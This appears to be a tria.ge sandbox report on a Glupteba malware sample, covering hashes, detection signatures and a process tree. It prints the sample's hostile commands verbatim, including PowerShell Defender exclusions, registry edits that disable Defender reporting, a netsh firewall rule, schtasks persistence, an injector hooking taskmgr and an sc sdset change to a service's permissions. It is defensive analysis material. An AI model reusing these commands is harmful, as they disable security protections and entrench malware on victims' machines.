Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
8s -
max time network
151s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
04/02/2024, 20:53
Static task
static1
Behavioral task
behavioral1
Sample
ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe
Resource
win10v2004-20231215-en
General
-
Target
ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe
-
Size
735KB
-
MD5
9f5cb3a9a4053a53063a9da9afbf6273
-
SHA1
b1ad9fe9cd4e8ddf11909751a2e0334c86ff206e
-
SHA256
ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1
-
SHA512
aaa720bb50f26f0508f1a3403da7189e7915c5663f08b35dd35299bfb6815c3f20bfb143d35cb57a0a95f623505809434ec28ecb7b90374e674a40381c079b26
-
SSDEEP
12288:xYRY4kQvFK/hSB8W5yWz2izHvqIknzbUtaD0Drt+/wQVbAV:/48SB8W5lzfqIknzCaoDWwWA
Malware Config
Signatures
-
Glupteba payload 18 IoCs
resource yara_rule behavioral2/memory/3188-283-0x0000000002E80000-0x000000000376B000-memory.dmp family_glupteba behavioral2/memory/3188-284-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4172-295-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/3188-473-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4172-1039-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/5004-1546-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4196-1549-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/5004-1554-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/5004-1558-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4196-1559-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4196-1555-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/5004-2045-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4196-2046-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/5004-2575-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4196-2590-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4504-3380-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4504-3393-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba behavioral2/memory/4504-3399-0x0000000000400000-0x0000000000D1C000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Process not Found -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe = "0" ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe -
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 828 netsh.exe 3068 netsh.exe -
Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yNGJ0YBoJIm4LL9sa7l4ia6L.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Q8QHETDteS4liOBcBAjiFd2e.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qmqIvZP0NR9nDuODBFbJNPd0.bat CasPol.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EvoRYRyC7pQx23h4LpxJ6i6Y.bat CasPol.exe -
Executes dropped EXE 3 IoCs
pid Process 3188 VA0CcFhxsk1h59T626scPewi.exe 4172 reg.exe 648 scFmSRWkuUNQtgC1AbeD0afM.exe -
resource yara_rule behavioral2/files/0x000600000001abfb-440.dat upx behavioral2/files/0x000600000001abfb-453.dat upx behavioral2/files/0x000700000001abb0-472.dat upx behavioral2/memory/4428-477-0x00000000003D0000-0x00000000008B8000-memory.dmp upx behavioral2/memory/4428-478-0x00000000003D0000-0x00000000008B8000-memory.dmp upx behavioral2/files/0x000600000001abfb-491.dat upx behavioral2/files/0x000600000001abfb-482.dat upx behavioral2/memory/584-464-0x00000000012F0000-0x00000000017D8000-memory.dmp upx behavioral2/files/0x000600000001abfb-468.dat upx behavioral2/memory/1188-448-0x00000000012F0000-0x00000000017D8000-memory.dmp upx behavioral2/files/0x000600000001abfb-447.dat upx behavioral2/memory/5080-3388-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/files/0x000600000001545e-3386.dat upx behavioral2/files/0x000600000001545e-3384.dat upx behavioral2/files/0x000600000001545e-3383.dat upx behavioral2/memory/3412-3394-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe = "0" ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 pastebin.com 4 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1484 set thread context of 2436 1484 Process not Found 74 -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1816 sc.exe -
Program crash 64 IoCs
pid pid_target Process procid_target 3736 3188 WerFault.exe 76 2704 3188 WerFault.exe 76 712 3188 WerFault.exe 76 4608 3188 WerFault.exe 76 4328 3188 WerFault.exe 76 4636 3188 WerFault.exe 76 3424 3188 WerFault.exe 76 3160 4172 WerFault.exe 4968 4172 WerFault.exe 2092 4172 WerFault.exe 3588 4172 WerFault.exe 3268 4172 WerFault.exe 2456 3188 WerFault.exe 76 4448 4172 WerFault.exe 980 3188 WerFault.exe 76 4532 3188 WerFault.exe 76 1428 4172 WerFault.exe 1796 3188 WerFault.exe 76 3896 4172 WerFault.exe 4428 4172 WerFault.exe 4576 3188 WerFault.exe 76 2356 4172 WerFault.exe 3568 3188 WerFault.exe 76 2232 4172 WerFault.exe 756 3188 WerFault.exe 76 872 3188 WerFault.exe 76 4512 4172 WerFault.exe 4820 3188 WerFault.exe 76 5060 4172 WerFault.exe 1392 4172 WerFault.exe 4584 3188 WerFault.exe 76 4588 4172 WerFault.exe 4704 3188 WerFault.exe 76 2324 4172 WerFault.exe 484 4172 WerFault.exe 212 3188 WerFault.exe 76 316 5004 WerFault.exe 146 4520 4196 WerFault.exe 2984 4196 WerFault.exe 3536 4196 WerFault.exe 3432 5004 WerFault.exe 146 4576 5004 WerFault.exe 146 3068 4196 WerFault.exe 4192 5004 WerFault.exe 146 1572 4196 WerFault.exe 3364 4196 WerFault.exe 3232 5004 WerFault.exe 146 1564 4196 WerFault.exe 3992 5004 WerFault.exe 146 1672 5004 WerFault.exe 146 796 5004 WerFault.exe 146 4588 4196 WerFault.exe 2060 5004 WerFault.exe 146 3920 4196 WerFault.exe 980 4504 WerFault.exe 196 2312 4504 WerFault.exe 196 372 4196 WerFault.exe 176 2296 4504 WerFault.exe 196 4852 4504 WerFault.exe 196 1504 4504 WerFault.exe 196 2924 4504 WerFault.exe 196 3220 4504 WerFault.exe 196 5076 4504 WerFault.exe 196 956 4196 WerFault.exe 176 -
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4788 schtasks.exe 5000 schtasks.exe 2364 schtasks.exe 3232 schtasks.exe 2792 schtasks.exe 2728 schtasks.exe 2824 schtasks.exe 4520 schtasks.exe 4120 schtasks.exe 2020 schtasks.exe 3408 schtasks.exe 4300 schtasks.exe 5012 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2340 powershell.exe 2340 powershell.exe 2340 powershell.exe 508 powershell.exe 508 powershell.exe 5076 WerFault.exe 5076 WerFault.exe 508 powershell.exe 5076 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2436 CasPol.exe Token: SeDebugPrivilege 2340 powershell.exe Token: SeDebugPrivilege 508 powershell.exe Token: SeDebugPrivilege 5076 WerFault.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 1484 wrote to memory of 2340 1484 Process not Found 73 PID 1484 wrote to memory of 2340 1484 Process not Found 73 PID 1484 wrote to memory of 2340 1484 Process not Found 73 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 1484 wrote to memory of 2436 1484 Process not Found 74 PID 2436 wrote to memory of 3188 2436 CasPol.exe 76 PID 2436 wrote to memory of 3188 2436 CasPol.exe 76 PID 2436 wrote to memory of 3188 2436 CasPol.exe 76 PID 2436 wrote to memory of 4172 2436 CasPol.exe 275 PID 2436 wrote to memory of 4172 2436 CasPol.exe 275 PID 2436 wrote to memory of 4172 2436 CasPol.exe 275 PID 4172 wrote to memory of 508 4172 reg.exe 107 PID 4172 wrote to memory of 508 4172 reg.exe 107 PID 4172 wrote to memory of 508 4172 reg.exe 107 PID 3188 wrote to memory of 5076 3188 VA0CcFhxsk1h59T626scPewi.exe 208 PID 3188 wrote to memory of 5076 3188 VA0CcFhxsk1h59T626scPewi.exe 208 PID 3188 wrote to memory of 5076 3188 VA0CcFhxsk1h59T626scPewi.exe 208 PID 2436 wrote to memory of 648 2436 CasPol.exe 105 PID 2436 wrote to memory of 648 2436 CasPol.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe"C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe"1⤵
- Windows security bypass
- Windows security modification
PID:1484 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ec91ef3c4c02b6c8aff61058bf0b2bb013e2e6a2ee6c805c6d07ad0ae46fa9d1.exe" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 3924⤵
- Program crash
PID:3736
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 3684⤵
- Program crash
PID:2704
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 4204⤵
- Program crash
PID:712
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 6644⤵
- Program crash
PID:4608
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 7124⤵
- Program crash
PID:4328
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 6844⤵
- Program crash
PID:4636
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 7404⤵
- Program crash
PID:3424
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 8604⤵
- Program crash
PID:2456
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 7604⤵
- Program crash
PID:980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 8044⤵
- Program crash
PID:4532
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 7764⤵
- Program crash
PID:1796
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 8964⤵
- Program crash
PID:4576
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 8004⤵
- Program crash
PID:3568
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 5484⤵
- Program crash
PID:756
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵PID:5076
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 9004⤵
- Program crash
PID:872
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 5804⤵
- Program crash
PID:4820
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 7004⤵
- Program crash
PID:4584
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 8164⤵
- Program crash
PID:4704
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 5804⤵
- Program crash
PID:212
-
-
C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"C:\Users\Admin\Pictures\VA0CcFhxsk1h59T626scPewi.exe"4⤵PID:5004
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:1572
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
PID:3068
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:5092
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:4596
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵PID:4504
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 3886⤵
- Program crash
PID:980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 4046⤵
- Program crash
PID:2312
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 3926⤵
- Program crash
PID:2296
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 6846⤵
- Program crash
PID:4852
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 7246⤵
- Program crash
PID:1504
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 6806⤵
- Program crash
PID:2924
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 7966⤵
- Program crash
PID:3220
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:4564
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 6726⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 6606⤵PID:792
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:2992
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 8366⤵PID:4604
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵PID:3160
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:2792
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9006⤵PID:4656
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9086⤵PID:3988
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:1732
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 8406⤵PID:4656
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9926⤵PID:2112
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵PID:3052
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 9766⤵PID:4320
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 7806⤵PID:4300
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:3408
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵PID:5080
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵PID:4992
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 10726⤵PID:4812
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 10806⤵PID:2316
-
-
-
-
-
C:\Users\Admin\Pictures\scFmSRWkuUNQtgC1AbeD0afM.exe"C:\Users\Admin\Pictures\scFmSRWkuUNQtgC1AbeD0afM.exe"3⤵
- Executes dropped EXE
PID:648
-
-
C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"3⤵PID:4172
-
C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"C:\Users\Admin\Pictures\pTqImyLjS9G69ZApf50LCnVA.exe"4⤵PID:4196
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:3268
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:2060
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:1812
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 8285⤵
- Program crash
PID:372
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 6405⤵
- Program crash
PID:956
-
-
-
-
C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe"C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --silent --allusers=03⤵PID:1188
-
C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe"C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1188 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240204205404" --session-guid=40c4ca80-2904-48fd-bf4d-8092483d641a --server-tracking-blob=OTk1MjBiMjA5NWQyNTFjYjI1Y2EyYTQyOWVmZDY0YmFmMjI1N2RhMTQ5ZWI3NDg2ZjZiM2Q3NWFkYTYyMTA4ZDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwNzA4MDAzNy42MjE0IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZmQxZTI2Zi1lNWUyLTRmZmUtYTRlOS01YzZmNzNkYTA4Y2MifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=A8040000000000004⤵PID:3136
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\rzuKW6hkPOVhwJc5rR8Tb2R4.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\rzuKW6hkPOVhwJc5rR8Tb2R4.exe" --version4⤵PID:4428
-
-
C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exeC:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.70 --initial-client-data=0x2b8,0x2bc,0x2c0,0x294,0x2c4,0x6edc9558,0x6edc9564,0x6edc95704⤵PID:584
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"4⤵PID:2356
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe" --version4⤵PID:4796
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202402042054041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.16 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0xcf2614,0xcf2620,0xcf262c5⤵PID:4596
-
-
-
-
C:\Users\Admin\Pictures\W87QPG29KXrU6BY579qTww6w.exe"C:\Users\Admin\Pictures\W87QPG29KXrU6BY579qTww6w.exe"3⤵PID:4428
-
C:\Users\Admin\AppData\Local\Temp\7zS9C5F.tmp\Install.exe.\Install.exe4⤵PID:3796
-
C:\Users\Admin\AppData\Local\Temp\7zS9EC0.tmp\Install.exe.\Install.exe /JPdidKxawB "385118" /S5⤵PID:3644
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"6⤵PID:5052
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&7⤵PID:2584
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:328⤵PID:1488
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:648⤵PID:5084
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"6⤵PID:4512
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&7⤵PID:2060
-
